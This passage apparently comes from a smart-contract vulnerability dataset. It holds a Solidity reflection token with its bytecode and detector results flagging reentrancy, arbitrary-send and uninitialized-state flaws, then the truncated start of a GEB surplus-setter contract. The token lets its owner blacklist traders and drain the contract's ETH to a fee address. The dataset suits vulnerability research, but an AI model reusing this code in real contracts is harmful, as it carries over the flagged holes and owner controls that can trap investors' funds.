function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610538565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610556565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610563565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105ea565b005b34801561029b57600080fd5b506102a4610663565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610668565b3480156102f257600080fd5b5061028d6106de565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610712565b34801561033a57600080fd5b5061028d61077c565b34801561034f57600080fd5b5061035861081e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61082d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610852565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610866945050505050565b34801561047e57600080fd5b5061028d61091a565b34801561049357600080fd5b5061028d610957565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d3e565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e43565b60408051808201909152601f81527f742e6d652f4261736562616c6c496e75207c204261736562616c6c20496e7500602082015290565b600061054c610545610e6e565b8484610e72565b5060015b92915050565b683635c9adc5dea0000090565b6000610570848484610f5e565b6105e08461057c610e6e565b6105db85604051806060016040528060288152602001611fd5602891396001600160a01b038a166000908152600460205260408120906105ba610e6e565b6001600160a01b031681526020810191909152604001600020549190611334565b610e72565b5060019392505050565b6105f2610e6e565b6000546001600160a01b03908116911614610642576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffd833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610670610e6e565b6000546001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffd833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106f2610e6e565b6001600160a01b03161461070557600080fd5b4761070f816113cb565b50565b6001600160a01b03811660009081526006602052604081205460ff161561075257506001600160a01b038116600090815260036020526040902054610777565b6001600160a01b03821660009081526002602052604090205461077490611450565b90505b919050565b610784610e6e565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffd833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600b81526a4241534542414c4c696e7560a81b602082015290565b600061054c61085f610e6e565b8484610f5e565b61086e610e6e565b6000546001600160a01b039081169116146108be576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffd833981519152604482015290519081900360640190fd5b60005b8151811015610916576001600760008484815181106108dc57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108c1565b5050565b6010546001600160a01b031661092e610e6e565b6001600160a01b03161461094157600080fd5b600061094c30610712565b905061070f816114b0565b61095f610e6e565b6000546001600160a01b039081169116146109af576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffd833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a0e576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a579030906001600160a01b0316683635c9adc5dea00000610e72565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9057600080fd5b505afa158015610aa4573d6000803e3d6000fd5b505050506040513d6020811015610aba57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0a57600080fd5b505afa158015610b1e573d6000803e3d6000fd5b505050506040513d6020811015610b3457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8657600080fd5b505af1158015610b9a573d6000803e3d6000fd5b505050506040513d6020811015610bb057600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610be281610712565b600080610bed61081e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5857600080fd5b505af1158015610c6c573d6000803e3d6000fd5b50505050506040513d6060811015610c8357600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0f57600080fd5b505af1158015610d23573d6000803e3d6000fd5b505050506040513d6020811015610d3957600080fd5b505050565b610d46610e6e565b6000546001600160a01b03908116911614610d96576040805162461bcd60e51b81526020600482018190526024820152600080516020611ffd833981519152604482015290519081900360640190fd5b60008111610deb576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e096064610e03683635c9adc5dea000008461167e565b906116d7565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eb75760405162461bcd60e51b815260040180806020018281038252602481526020018061206b6024913960400191505060405180910390fd5b6001600160a01b038216610efc5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f926022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610fa35760405162461bcd60e51b81526004018080602001828103825260258152602001806120466025913960400191505060405180910390fd5b6001600160a01b038216610fe85760405162461bcd60e51b8152600401808060200182810382526023815260200180611f456023913960400191505060405180910390fd5b600081116110275760405162461bcd60e51b815260040180806020018281038252602981526020018061201d6029913960400191505060405180910390fd5b61102f61081e565b6001600160a01b0316836001600160a01b031614158015611069575061105361081e565b6001600160a01b0316826001600160a01b031614155b156112d757601354600160b81b900460ff1615611163576001600160a01b03831630148015906110a257506001600160a01b0382163014155b80156110bc57506012546001600160a01b03848116911614155b80156110d657506012546001600160a01b03838116911614155b15611163576012546001600160a01b03166110ef610e6e565b6001600160a01b0316148061111e57506013546001600160a01b0316611113610e6e565b6001600160a01b0316145b611163576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561117257600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111b457506001600160a01b03821660009081526007602052604090205460ff16155b6111bd57600080fd5b6013546001600160a01b0384811691161480156111e857506012546001600160a01b03838116911614155b801561120d57506001600160a01b03821660009081526005602052604090205460ff16155b80156112225750601354600160b81b900460ff165b1561126a576001600160a01b038216600090815260086020526040902054421161124b57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061127530610712565b601354909150600160a81b900460ff161580156112a057506013546001600160a01b03858116911614155b80156112b55750601354600160b01b900460ff165b156112d5576112c3816114b0565b4780156112d3576112d3476113cb565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061131957506001600160a01b03831660009081526005602052604090205460ff165b15611322575060005b61132e84848484611719565b50505050565b600081848411156113c35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611388578181015183820152602001611370565b50505050905090810190601f1680156113b55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113e58360026116d7565b6040518115909202916000818181858888f1935050505015801561140d573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114288360026116d7565b6040518115909202916000818181858888f19350505050158015610916573d6000803e3d6000fd5b6000600a548211156114935760405162461bcd60e51b815260040180806020018281038252602a815260200180611f68602a913960400191505060405180910390fd5b600061149d611835565b90506114a983826116d7565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114f157fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561154557600080fd5b505afa158015611559573d6000803e3d6000fd5b505050506040513d602081101561156f57600080fd5b505181518290600190811061158057fe5b6001600160a01b0392831660209182029290920101526012546115a69130911684610e72565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561162c578181015183820152602001611614565b505050509050019650505050505050600060405180830381600087803b15801561165557600080fd5b505af1158015611669573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168d57506000610550565b8282028284828161169a57fe5b04146114a95760405162461bcd60e51b8152600401808060200182810382526021815260200180611fb46021913960400191505060405180910390fd5b60006114a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611858565b80611726576117266118bd565b6001600160a01b03841660009081526006602052604090205460ff16801561176757506001600160a01b03831660009081526006602052604090205460ff16155b1561177c576117778484846118ef565b611828565b6001600160a01b03841660009081526006602052604090205460ff161580156117bd57506001600160a01b03831660009081526006602052604090205460ff165b156117cd57611777848484611a13565b6001600160a01b03841660009081526006602052604090205460ff16801561180d57506001600160a01b03831660009081526006602052604090205460ff165b1561181d57611777848484611abc565b611828848484611b2f565b8061132e5761132e611b73565b6000806000611842611b81565b909250905061185182826116d7565b9250505090565b600081836118a75760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611388578181015183820152602001611370565b5060008385816118b357fe5b0495945050505050565b600c541580156118cd5750600d54155b156118d7576118ed565b600c8054600e55600d8054600f55600091829055555b565b60008060008060008061190187611d00565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119339088611d5d565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119629087611d5d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119919086611d9f565b6001600160a01b0389166000908152600260205260409020556119b381611df9565b6119bd8483611e81565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a2587611d00565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a579087611d5d565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a8d9084611d9f565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546119919086611d9f565b600080600080600080611ace87611d00565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611b009088611d5d565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a579087611d5d565b600080600080600080611b4187611d00565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119629087611d5d565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cc057826002600060098481548110611bb157fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c165750816003600060098481548110611bef57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c3457600a54683635c9adc5dea0000094509450505050611cfc565b611c746002600060098481548110611c4857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d5d565b9250611cb66003600060098481548110611c8a57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d5d565b9150600101611b95565b50600a54611cd790683635c9adc5dea000006116d7565b821015611cf657600a54683635c9adc5dea00000935093505050611cfc565b90925090505b9091565b6000806000806000806000806000611d1d8a600c54600d54611ea5565b9250925092506000611d2d611835565b90506000806000611d408e878787611ef4565b919e509c509a509598509396509194505050505091939550919395565b60006114a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611334565b6000828201838110156114a9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611e03611835565b90506000611e11838361167e565b30600090815260026020526040902054909150611e2e9082611d9f565b3060009081526002602090815260408083209390935560069052205460ff1615610d395730600090815260036020526040902054611e6c9084611d9f565b30600090815260036020526040902055505050565b600a54611e8e9083611d5d565b600a55600b54611e9e9082611d9f565b600b555050565b6000808080611eb96064610e03898961167e565b90506000611ecc6064610e038a8961167e565b90506000611ee482611ede8b86611d5d565b90611d5d565b9992985090965090945050505050565b6000808080611f03888661167e565b90506000611f11888761167e565b90506000611f1f888861167e565b90506000611f3182611ede8686611d5d565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122023b04fac5f8d80fa36ed14d733c9fca2b22f60c749b39a62bfbccce05bdedfe664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,274 |
0xa43BFA2a04c355128F3f10788232feeB2f42FE98
|
pragma solidity 0.6.7;
contract GebMath {
uint256 public constant RAY = 10 ** 27;
uint256 public constant WAD = 10 ** 18;
function ray(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 9);
}
function rad(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 27);
}
function minimum(uint x, uint y) public pure returns (uint z) {
z = (x <= y) ? x : y;
}
function addition(uint x, uint y) public pure returns (uint z) {
z = x + y;
require(z >= x, "uint-uint-add-overflow");
}
function subtract(uint x, uint y) public pure returns (uint z) {
z = x - y;
require(z <= x, "uint-uint-sub-underflow");
}
function multiply(uint x, uint y) public pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow");
}
function rmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / RAY;
}
function rdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, RAY) / y;
}
function wdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, WAD) / y;
}
function wmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / WAD;
}
function rpower(uint x, uint n, uint base) public pure returns (uint z) {
assembly {
switch x case 0 {switch n case 0 {z := base} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := base } default { z := x }
let half := div(base, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, base)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, base)
}
}
}
}
}
}
abstract contract StabilityFeeTreasuryLike {
function getAllowance(address) virtual external view returns (uint, uint);
function systemCoin() virtual external view returns (address);
function pullFunds(address, address, uint) virtual external;
}
contract IncreasingTreasuryReimbursement is GebMath {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "IncreasingTreasuryReimbursement/account-not-authorized");
_;
}
// --- Variables ---
// Starting reward for the fee receiver/keeper
uint256 public baseUpdateCallerReward; // [wad]
// Max possible reward for the fee receiver/keeper
uint256 public maxUpdateCallerReward; // [wad]
// Max delay taken into consideration when calculating the adjusted reward
uint256 public maxRewardIncreaseDelay; // [seconds]
// Rate applied to baseUpdateCallerReward every extra second passed beyond a certain point (e.g next time when a specific function needs to be called)
uint256 public perSecondCallerRewardIncrease; // [ray]
// SF treasury
StabilityFeeTreasuryLike public treasury;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(
bytes32 parameter,
address addr
);
event ModifyParameters(
bytes32 parameter,
uint256 val
);
event FailRewardCaller(bytes revertReason, address feeReceiver, uint256 amount);
constructor(
address treasury_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_
) public {
if (address(treasury_) != address(0)) {
require(StabilityFeeTreasuryLike(treasury_).systemCoin() != address(0), "IncreasingTreasuryReimbursement/treasury-coin-not-set");
}
require(maxUpdateCallerReward_ >= baseUpdateCallerReward_, "IncreasingTreasuryReimbursement/invalid-max-caller-reward");
require(perSecondCallerRewardIncrease_ >= RAY, "IncreasingTreasuryReimbursement/invalid-per-second-reward-increase");
authorizedAccounts[msg.sender] = 1;
treasury = StabilityFeeTreasuryLike(treasury_);
baseUpdateCallerReward = baseUpdateCallerReward_;
maxUpdateCallerReward = maxUpdateCallerReward_;
perSecondCallerRewardIncrease = perSecondCallerRewardIncrease_;
maxRewardIncreaseDelay = uint(-1);
emit AddAuthorization(msg.sender);
emit ModifyParameters("treasury", treasury_);
emit ModifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
emit ModifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
emit ModifyParameters("perSecondCallerRewardIncrease", perSecondCallerRewardIncrease);
}
// --- Boolean Logic ---
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
// --- Treasury ---
/**
* @notice This returns the stability fee treasury allowance for this contract by taking the minimum between the per block and the total allowances
**/
function treasuryAllowance() public view returns (uint256) {
(uint total, uint perBlock) = treasury.getAllowance(address(this));
return minimum(total, perBlock);
}
/*
* @notice Get the SF reward that can be sent to a function caller right now
* @param timeOfLastUpdate The last time when the function that the treasury pays for has been updated
* @param defaultDelayBetweenCalls Enforced delay between calls to the function for which the treasury reimburses callers
*/
function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) {
// If the rewards are null or if the time of the last update is in the future or present, return 0
bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0);
if (either(timeOfLastUpdate >= now, nullRewards)) return 0;
// If the time elapsed is smaller than defaultDelayBetweenCalls or if the base reward is zero, return 0
uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate);
if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) {
return 0;
}
// If too much time elapsed, return the max reward
uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls);
uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY);
if (adjustedTime > maxRewardIncreaseDelay) {
return maxPossibleReward;
}
// Calculate the reward
uint256 calculatedReward = baseUpdateCallerReward;
if (adjustedTime > 0) {
calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward);
}
// If the reward is higher than max, set it to max
if (calculatedReward > maxPossibleReward) {
calculatedReward = maxPossibleReward;
}
return calculatedReward;
}
/**
* @notice Send a stability fee reward to an address
* @param proposedFeeReceiver The SF receiver
* @param reward The system coin amount to send
**/
function rewardCaller(address proposedFeeReceiver, uint256 reward) internal {
// If the receiver is the treasury itself or if the treasury is null or if the reward is zero, return
if (address(treasury) == proposedFeeReceiver) return;
if (either(address(treasury) == address(0), reward == 0)) return;
// Determine the actual receiver and send funds
address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver;
try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {}
catch(bytes memory revertReason) {
emit FailRewardCaller(revertReason, finalFeeReceiver, reward);
}
}
}
abstract contract AccountingEngineLike {
function modifyParameters(bytes32, uint256) virtual external;
}
abstract contract OracleRelayerLike {
function redemptionPrice() virtual external returns (uint256);
}
contract AuctionedSurplusSetter is IncreasingTreasuryReimbursement {
// --- Variables ---
// Minimum amount of surplus to sell in one auction
uint256 public minAuctionedSurplus; // [rad]
// Target value for the amount of surplus to sell
uint256 public targetValue; // [ray]
// The min delay between two adjustments of the surplus amount
uint256 public updateDelay; // [seconds]
// Last timestamp when the surplus amount was updated
uint256 public lastUpdateTime; // [unix timestamp]
// Delay between two consecutive inflation related updates
uint256 public targetValueInflationDelay;
// The target inflation applied to targetValue
uint256 public targetValueTargetInflation;
// The last time when inflation was applied to the target value
uint256 public targetValueInflationUpdateTime; // [unix timestamp]
// Accounting engine contract
AccountingEngineLike public accountingEngine;
// The oracle relayer contract
OracleRelayerLike public oracleRelayer;
// Max inflation per period
uint256 public constant MAX_INFLATION = 50;
// --- Events ---
event RecomputeSurplusAmountAuctioned(uint256 surplusToSell);
constructor(
address treasury_,
address oracleRelayer_,
address accountingEngine_,
uint256 minAuctionedSurplus_,
uint256 targetValue_,
uint256 updateDelay_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_
) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) {
require(both(oracleRelayer_ != address(0), accountingEngine_ != address(0)), "AuctionedSurplusSetter/invalid-core-contracts");
require(minAuctionedSurplus_ > 0, "AuctionedSurplusSetter/invalid-min-auctioned-surplus");
require(targetValue_ >= 100, "AuctionedSurplusSetter/invalid-target-value");
require(updateDelay_ > 0, "AuctionedSurplusSetter/null-update-delay");
minAuctionedSurplus = minAuctionedSurplus_;
updateDelay = updateDelay_;
targetValue = targetValue_;
targetValueTargetInflation = 0;
targetValueInflationDelay = uint(-1) / 2;
targetValueInflationUpdateTime = now;
oracleRelayer = OracleRelayerLike(oracleRelayer_);
accountingEngine = AccountingEngineLike(accountingEngine_);
emit ModifyParameters("minAuctionedSurplus", minAuctionedSurplus);
emit ModifyParameters("targetValue", targetValue);
emit ModifyParameters("updateDelay", updateDelay);
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
